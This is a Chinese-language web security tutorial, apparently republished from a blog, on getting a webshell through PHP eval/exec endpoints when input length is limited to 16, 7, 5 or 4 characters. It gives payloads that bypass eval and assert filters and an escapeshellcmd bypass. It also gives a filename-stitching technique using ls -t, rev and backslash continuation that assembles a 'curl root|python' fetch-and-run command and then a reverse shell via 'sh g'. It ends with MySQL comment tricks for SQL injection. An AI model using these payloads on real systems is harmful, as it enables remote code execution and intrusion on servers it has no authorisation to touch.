如何在命令長度受限的情況下成功get到webshell(函數參數受限突破、mysql的騷操作)


0x01 問題提出

還記得上篇文章記一次拿webshell踩過的坑(如何用PHP編寫一個不包含數字和字母的后門),我們講到了一些PHP的一些如何巧妙地繞過數字和字母受限的技巧,今天我要給大家分享的是如何在命令長度受限的情況下成功get到webshell,以及關於函數參數受限的突破,mysql的一些騷操作技巧~~~

0x02 問題分析

我們先看個例子:

<?php
    $param = $_REGUEST['param'];
    if(strlen($param) < 17){
        eval($param);
    }
?>

上面這部分意思只是叫我們繞過長度受限就可以執行代碼。這個其實就很簡單了,我們可以采用調用eval或者assert這種后門函數就可以直接繞過了~~

eval函數中參數是字符,比如像下面這樣子:

eval('echo 1;');

assert函數中參數為表達式(或者為函數),我們可以像下面這樣子去實現:

assert(phpinfo()) 

而我參看了PHP手冊才了解到,assert是函數,eval不是函數,是一種語言構造器,eval($a)$a只能是字符串,assert($a)$a可以是php代碼,也可以是php代碼的字符串。assert($a)$a如果是字符串形式不能有2個以上的分號,如果有2個以上的分號只執行到第一個,使用assert來執行多條php語句可借助eval來實現。

例如像下面這個樣子:

assert(eval("echo 1;echo 2;"));

結果如下:

比如像上面這句,如果是assert(eval("echo 1;echo 2")),這樣寫是不會執行echo 1也不會執行echo 2的,因為eval使用的字符串要是有分號的php語句,只要有字符串,它就可以當作命令來執行~~

更多細節我們可以參看PHP手冊:

eval函數:http://www.php.net/manual/zh/function.eval.php

assert函數:http://php.net/manual/zh/function.assert.php

那如果像下面這個例子呢?

<?php
    $param = $_REGUEST['param'];
    if(
        strlen($param) < 17 &&
        stripos($param, 'eval') == false &&
        stripos($param, 'assert') == false
    ){
        eval($param);
    }
?>

striops函數是用來查找目標字符串在字符串中第一次出現的位置。這里的意思是限制了長度最長為 16 個字符,而且不能用 evalassert,這樣我們又該怎么執行命令。

我們可以通過命令執行來繞過限制:

param=`$_GET[1]`;&1=bash

當然了,我們也可以用 exec函數:

param=exec($_GET[1]);

exec可以執行一個外部程序,具體的可以參看PHP手冊:http://php.net/manual/zh/function.exec.php

那如果是這個呢?

<?php
    $command = 'dir '.$_POST['dir'];
    $escaped_command = escapeshellcmd($command);
    var_dump($escaped_command);
    file_put_contents('out.bat',$escaped_command);
    system('out.bat');
?>

我們對其進行測試:

我們應該如何去繞過呢?

我們來看看這些函數,escapeshellcmd() 函數對字符串中可能會欺騙 shell 命令執行任意命令的字符進行轉義。 此函數保證用戶輸入的數據在傳送到 exec()system() 函數,或者執行操作符之前進行轉義。

escapeshellcmd() 函數的詳細用法參看PHP手冊:http://php.net/manual/zh/function.escapeshellcmd.php

那么這個函數具體會轉義哪些字符呢?

我們通讀了源碼可以知道,下圖這些字符都可以用^來取代其意義。也就是沒辦法用& | 來執行其他命令,只能列目錄

感興趣的同學可以研究一下源碼,我把源碼傳到本地了:https://files.cnblogs.com/files/ECJTUACM-873284962/exec.rar

那么我們萌生了一個這樣的一個tips:執行.bat文件的時候,利用%1a,可以繞過過濾執行命令,我們做了如下嘗試:

前面我們已經說了如何限制在16個字符內的情況下拿到webshell,在二進制漏洞利用中,當我們遇到可控數據只有8字節的情況,去掉字符串尾的\0,限制在7個字符。那么在這種情況下,我們又該怎么辦呢?

還是看之前那個例子,把命令長度變成7。

<?php
    $param = $_REGUEST['param'];
    if(strlen($param) < 8){
        eval($param);
    }
?>

這讓我想起趙本山演的那個小品《鍾點工》里面的一個問題,把大象放進冰箱應該分為幾步?

此時我們需要鋪墊一些基礎知識了。

我們可以進行命令的拼裝。

我們來個條件更加苛刻的問題,命令長度限制在5,如何完成注入,成功get到webshell呢?

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

舉個例子,我們要執行echo hello這個命令,我們應該怎么辦呢?

我們可以進行如下構造:

>echo
>hello

結果如下:

我們可以看到創建了兩個文件,分別是echo和hello,我們執行*命令

我們可以看到,執行了echo hello這行命令,所以直接打印出了hello字符串

我們可以通過echo *來查看一下*里面的內容

我們通過將>echo和>hello 完成命令拼接,然后用* 組成並執行了命令echo hello

如果條件再苛刻一點呢?把命令長度限制在4,如何完成注入,成功get到webshell呢?

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

比如,我們想要執行ls -l命令,我們可以模仿上面這種做法,進行如下構造:

>ls
>-l

結果如下:

我們可以看到創建了兩個文件,分別是ls和-l,我們執行*命令

誒,這咋回事啊,咋還報錯了呢?

其實啊,我們剛才生成的echo和hello,e的ASCII值要小於h,所以排序的時候自動將echo排在前面,hello排在后面,而ls我們可以看到,此時文件的顯示順序是-l在ls的前面。如果我們執行* 其實是執行-l ls會彈出報錯信息

那么我們又該如何獲得ls -l呢?

0x03 解決方案

01.命令內容反序

最簡單的一種方式就是按照命令內容反着轉過來。

我們可以這個命令字符序列反過來看 l- sl,這樣是不是順序正好滿足要求呢?接下來我們只需要用一個可以把字符反過來的命令rev,就可以完成這個功能

所以首先第一步,我們先創建了兩個文件,分別是l-sl。

>l-
>sl

結果如下:

然后將l- sl組合寫入文件v,然后查看v文件里面的內容。

這里面我們可以看到文件v中多了一個v,對我們命令造成干擾,如果我們只想文件中存在l-sl,那該怎么辦呢?

這里有個小trick,dir a b>c這個命令可以將a b寫到文件c中,不會寫入多余的命令進去。

我們創建一個名為dir的文件,然后執行*>v,可以獲得l- ls

>dir
echo *
*>v
cat v

結果如下:

然后我們就只需要對這個命令字符序列反轉一下就行了,這里我們有一個rev命令,正好可以將內容反序。

所以我們需要產生一個名為rev的文件,然后執行*v ,此時命令相當於rev v,命名為v是為了被通配符匹配,這樣就產生了我們要的輸出ls -l

>rev
ls
*v

 結果如下:

然后就是輸出到文件x,然后就可以執行sh x,成功以4個字符執行長度為5的ls -l命令。

*v>x
cat x
sh x

結果如下:

把上面寫的命令編成一個shell腳本如下:

#!/usr/bin/env bash
>l-
>sl
>dir
*>v
>rev
*v>x
sh x

我們可以看到,整個命令鏈長度均小於等於4,這樣我們就可以愉快的執行ls -l命令了~

02.時間排序技巧

在ls命令里面有個參數-t,可以根據出現的時間進行排序,先生成的文件排在后面,后生成的文件排在前面,類似於棧的結構。

假設我們要生成ls -t >g命令,它的逆序是g< t- sl,按照ASCII值排序方式的話,t-會在sl后面,不滿足需求。所以我們變通一下,生成命令ls -th >g,逆序就是g> ht- sl,正好滿足順序要求。

>g\>
>ht-
>sl
>dir
*>v
>rev
*v>x
cat x

結果如下:

03.續行符技巧拼接命令

 Linux里面有個神奇的符號\(反斜杠),可以進行命令的續行,比如下面這個例子,我創建了兩個文件a和b,我們通過ls命令查看效果和續行效果是一樣的。

>a
>b
ls
l\
s

結果如下:

這樣,我們就可以構造一連串的拼接命令進行續行操作。再比如,我要構造命令curl root|python

>on
>th\\
>py\\
>\|\\
>ot\\
>ro\\
>\ \\
>rl\\
>cu\\
ls -t

結果如下:

這里我們可能會有點疑問,>th\\這里看着是5個字符,超過了4個的限制,實際上是因為shell環境需要輸入\\產生\,但是php代碼exec時,只需要輸入\即可產生\,比如 exec(“>th\”)即可。所以這里實際上是不超過4個字符的。

 我們再執行ls -th>g,把這些按照時間順序導入到g文件里面,再查看一下g文件

然后執行sh g反彈shell即可,這里我就不演示給大家看了,大家可以自己在本機上進行嘗試即可~~

這里對如何在命令長度受限的情況下成功get到webshell做個小結:

  • w長度最短的命令
  • ls -t 以創建時間來列出當前目錄下所有文件
  • 文件列表以[換行符]分割每個文件
  • 引入 `\` 轉義ls時的換行
  • 換行不影響命令執行
  • 成功構造任意命令執行,寫入Webshell

關於mysql部分還有一些注釋技巧,我給大家列一下:

  • [#] 行內注釋
  • [-- ] 行內注釋,注意末尾的空格
  • [/*...*/] 段注釋,可多行
  • [`] 某些情況下,可以作為注釋
  • [;] 支持多句執行的情況下,可直接用分號閉合第一句SQL語句

具體的參考P牛的課件:來自小密圈里的那些奇技淫巧

0x04 擴展閱讀


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM